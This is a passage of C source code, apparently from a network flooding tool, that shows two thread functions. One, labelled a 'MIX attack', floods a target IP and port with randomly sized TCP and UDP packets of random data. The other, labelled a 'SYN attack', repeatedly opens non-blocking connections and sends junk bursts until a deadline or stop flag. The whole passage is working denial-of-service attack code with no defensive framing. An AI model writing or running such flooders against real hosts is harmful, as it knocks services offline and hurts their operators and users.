&sndbuf, sizeof(sndbuf)); 389 | fcntl(sock_udp, F_SETFL, O_NONBLOCK); 390 | } 391 | 392 | time_t start_time = time(NULL); 393 | printf("[THREAD] MIX attack started, duration: %ld seconds\n", params->end_time - start_time); 394 | 395 | int total_sent = 0; 396 | generate_random_data(packet, 8192); 397 | 398 | while (time(NULL) < params->end_time && !(*(params->stop_flag))) { 399 | int use_tcp = rand() % 2; 400 | int size = 1024 + (rand() % 7168); 401 | 402 | if (use_tcp) { 403 | sock_tcp = socket(AF_INET, SOCK_STREAM, 0); 404 | if (sock_tcp >= 0) { 405 | fcntl(sock_tcp, F_SETFL, O_NONBLOCK); 406 | int sndbuf = 4 * 1024 * 1024; 407 | setsockopt(sock_tcp, SOL_SOCKET, SO_SNDBUF, &sndbuf, sizeof(sndbuf)); 408 | 409 | connect(sock_tcp, (struct sockaddr *)&server, sizeof(server)); 410 | 411 | for (int i = 0; i < 20; i++) { 412 | send(sock_tcp, packet, size, MSG_NOSIGNAL | MSG_DONTWAIT); 413 | total_sent++; 414 | } 415 | close(sock_tcp); 416 | } 417 | } else { 418 | if (sock_udp >= 0) { 419 | for (int i = 0; i < 50; i++) { 420 | sendto(sock_udp, packet, size, MSG_DONTWAIT, 421 | (struct sockaddr *)&server, sizeof(server)); 422 | total_sent++; 423 | } 424 | } 425 | } 426 | } 427 | 428 | if (sock_udp >= 0) close(sock_udp); 429 | free(params); 430 | printf("[THREAD] MIX attack finished, sent %d packets\n", total_sent); 431 | return NULL; 432 | } 433 | 434 | void *attack_syn(void *arg) { 435 | attack_params_t *params = (attack_params_t *)arg; 436 | int sock; 437 | struct sockaddr_in server; 438 | unsigned char packet[8192]; 439 | 440 | server.sin_family = AF_INET; 441 | server.sin_addr.s_addr = inet_addr(params->ip); 442 | server.sin_port = htons(params->port); 443 | 444 | time_t start_time = time(NULL); 445 | printf("[THREAD] SYN attack started, duration: %ld seconds\n", params->end_time - start_time); 446 | 447 | int total_sent = 0; 448 | generate_random_data(packet, 8192); 449 | 450 | while (time(NULL) < params->end_time && !(*(params->stop_flag))) { 451 | for (int burst = 0; burst < 10; burst++) { 452 | sock = socket(AF_INET, SOCK_STREAM, 0); 453 | if (sock < 0) continue; 454 | 455 | fcntl(sock, F_SETFL, O_NONBLOCK); 456 | 457 | int size = 512 + (rand() % 1536); 458 | 459 | connect(sock, (struct sockaddr *)&server, sizeof(server)); 460 | send(sock, packet, size, MSG_NOSIGNAL | MSG_DONTWAIT); 461 | total_sent++; 462 | 463 | close(sock); 464 | } 465 | } 466 | 467 | free(params); 468 | printf("[THREAD] SYN attack finished, sent %d packets\n", total_sent); 469 | return NULL; 470 | } --------------------------------------------------------------------------------